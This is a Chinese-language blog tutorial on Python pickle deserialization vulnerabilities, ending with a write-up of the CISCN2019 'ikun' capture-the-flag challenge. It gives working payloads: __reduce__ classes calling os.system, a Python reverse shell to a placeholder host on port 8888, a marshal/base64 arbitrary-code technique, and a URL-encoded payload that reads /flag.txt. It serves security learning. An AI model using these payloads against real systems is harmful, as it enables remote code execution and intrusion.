淺談python反序列化漏洞

0x01 序列化與反序列化

Python中的序列化操作是通過picklecPickle 模塊(操作是一樣的,這裏以pickle爲例):

1、dumpload與文件操作結合起來:

(1)序列化:

pickle.dump(obj, file, protocol=None,)

必填參數obj表示將要封裝的對象,必填參數file表示obj要寫入的文件對象,file必須以二進制可寫模式打開,即wb

(2)反序列化

pickle.load(file,*,fix_imports=True, encoding="ASCII", errors="strict"

必填參數file必須以二進制可讀模式打開,即rb,其他都爲可選參數。

(3)示例:

import pickle

data = ['aa', 'bb', 'cc']

with open("./test.pkl", "wb") as f:
    pickle.dump(data, f)

with open("./test.pkl", "rb") as ff:
    d = pickle.load(ff)

print(d)
# ['aa', 'bb', 'cc']

2、dumpsloads則不需要輸出成文件,而是以字符串(py2)或字節流(py3)的形式進行轉換。

(1)序列化:

pickle.dumps(obj)

(2)反序列化

pickle.loads(bytes_object)

(3)示例:

# python3
import pickle

data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print(p)

d = pickle.loads(p)
print(d)

output:

b'\x80\x03]q\x00(X\x02\x00\x00\x00aaq\x01X\x02\x00\x00\x00bbq\x02X\x02\x00\x00\x00ccq\x03e.'  

['aa', 'bb', 'cc']
# python2
import pickle

data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print p
d = pickle.loads(p)
print d

output:

(lp0
S'aa'
p1
aS'bb'
p2
aS'cc'
p3
a.

['aa', 'bb', 'cc']

0x02 PVM 操作碼

要想真正的利用反序列化,我們還得從底層瞭解一下pickle數據的格式是什麼樣的。

  • c:讀取新的一行作爲模塊名module,讀取下一行作爲對象名object,然後將module.object壓入到堆棧中。
  • (:將一個標記對象插入到堆棧中。爲了實現我們的目的,該指令會與t搭配使用,以產生一個元組。
  • t:從堆棧中彈出對象,直到一個(被彈出,並創建一個包含彈出對象(除了()的元組對象,並且這些對象的順序必須跟它們壓入堆棧時的順序一致。然後,該元組被壓入到堆棧中。
  • S:讀取引號中的字符串直到換行符處,然後將它壓入堆棧。
  • R:將一個元組和一個可調用對象彈出堆棧,然後以該元組作爲參數調用該可調用的對象,最後將結果壓入到堆棧中。
  • .:結束pickle

簡單說來就是:

  • c:以c開始的後面兩行的作用類似os.system的調用,其中cos在第一行,system在第二行。
  • (:相當於左括號
  • t:相當於右括號
  • S:表示本行的內容一個字符串
  • R:執行緊靠自己左邊的一個括號對(即(t之間)的內容
  • .:代表該pickle結束

舉一個例子:

cos
system
(S'whoami'
tR.

我們將上面的序列化字符串在python2下反序列化,相當於執行了os.system('whoami')

# python2
import pickle
s ="cos\nsystem\n(S'whoami'\ntR."
pickle.loads(s)

在這裏插入圖片描述


0x03 反序列化漏洞利用

1、可能出現的地方:

  • 通常在解析認證token,session的時候。現在很多web都使用redis、mongodb、memcached等來存儲session等狀態信息。
  • 可能將對象Pickle後存儲成磁盤文件。
  • 可能將對象Pickle後在網絡中傳輸。
  • 可能參數傳遞給程序,比如sqlmap的代碼執行漏洞

2、利用方式

python中的類有一個__reduce__方法,類似與PHP中的wakeup,在反序列化的時候會自動調用。

這裏注意,在python2中只有內置類纔有__reduce__方法,即用class A(object)聲明的類,而python3中已經默認都是內置類了,具體可參考這篇文章

而我們定義的__reduce__可以返回一個元組,這個元組包含2到5個元素,主要用到前兩個參數,即一個可調用的對象,用於重建對象時調用,一個參數元素(也是元組形式),供那個可調用對象使用。

舉個例子就清楚了:

import pickle
import os
class A(object):
    def __reduce__(self):
        return (os.system,('ls',))
a = A()
test = pickle.dumps(a)
pickle.loads(test)

可以看到成功執行了命令:
在這裏插入圖片描述

我們再試一下反彈shell,在ubuntu上運行下列代碼:

import pickle
import os
class A(object):
    def __reduce__(self):
        shell = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(shell,))    
a=A()
result = pickle.dumps(a)
pickle.loads(result)

在kali上監聽8888端口,可以看到成功反彈shell。
在這裏插入圖片描述

pickle.loads是會解決import 問題,對於未引入的module會自動嘗試import。那麼也就是說整個python標準庫的代碼執行、命令執行函數我們都可以使用。

eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen

0x04 任意代碼執行

pickle 是不能序列化代碼對象的,但是自從 python 2.6 起,Python 給我們提供了一個可以序列化code對象的模塊Marshal,如下:

import pickle
import marshal
import base64

def code():
    import os
    os.system('whoami')

code_pickle = base64.b64encode(marshal.dumps(code.func_code))
print code_pickle

輸出如下:
在這裏插入圖片描述
爲了保證格式問題採用base64編碼一下,但是我們並不能像前面那樣利用__reduce__來調用,因爲__reduce__是利用調用某個可調用對象(callable) 並傳遞參數來執行的,而我們這個函數本身就是一個 callable ,我們需要執行它,而不是將他作爲某個函數的參數。

這時候就需要利用PVM操作碼來進行構造了,想要這段輸出的base64的內容得到執行,我們需要如下代碼:

(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ''))()

Python 能通過 types.FunctionTyle(func_code,globals(),'')() 來動態地創建匿名函數,所以上面的語句實際上就是:

code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()

最終上面的例子構造出來的PVM語句如下:

ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwAAAAABAAAAAgAAAEMAAABzHQAAAGQBAGQAAGwAAH0AAHwAAGoBAGQCAIMBAAFkAABTKAMAAABOaf////90BgAAAHdob2FtaSgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAQAAACgAAAAAKAAAAABzCQAAAC5cdGVzdC5weXQEAAAAY29kZQUAAABzBAAAAAABDAE='
tRtRc__builtin__
globals
(tRS''
tR(tR.

我們將他反序列化一下看看:

import pickle

s ="""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwAAAAABAAAAAgAAAEMAAABzHQAAAGQBAGQAAGwAAH0AAHwAAGoBAGQCAIMBAAFkAABTKAMAAABOaf////90BgAAAHdob2FtaSgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAQAAACgAAAAAKAAAAABzCQAAAC5cdGVzdC5weXQEAAAAY29kZQUAAABzBAAAAAABDAE='
tRtRc__builtin__
globals
(tRS''
tR(tR.
"""

pickle.loads(s)

發現成功執行了code函數裏的語句:
在這裏插入圖片描述

這樣我們可以用如下腳本構造payload,再根據實際情況對payload進行url編碼之類的操作:

import marshal
import base64

def code():
    pass # any code here

print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(code.func_code))

0x05 實例分析

CISCN2019 ikun

這題先通過邏輯漏洞修改表單的折扣來購買lv6產品,然後僞造JWT爲admin拿到源碼,我們直接來講python反序列化的地方。

審計一下源碼,使用的tornado框架,問題在views/Admin.py中:

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

可以看到在post方法中,使用become傳參進去,並且對傳進來的值進行url解碼,然後反序列化,反序列化的結果通過p在前端回顯了。

這裏就存在一個反序列化漏洞,但是這題過濾了很多執行系統命令的函數,我看網上大多數的wp直接猜出/flag.txt然後用eval(open('/flag.txt','r').read())來讀取文件了。

實際上這裏可以使用commands.getoutput()來執行命令:

# coding=utf8
import pickle
import urllib
import commands

class payload(object):
    def __reduce__(self):
        return (commands.getoutput,('ls /',))

a = payload()
print urllib.quote(pickle.dumps(a))

得到:

ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.

在這裏插入圖片描述

再將上面腳本的ls /改爲cat /flag.txt,得到最終payload:

ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.

修改become的值爲上述payload即可得到flag:
在這裏插入圖片描述



參考鏈接:

http://www.polaris-lab.com/index.php/archives/178/

https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章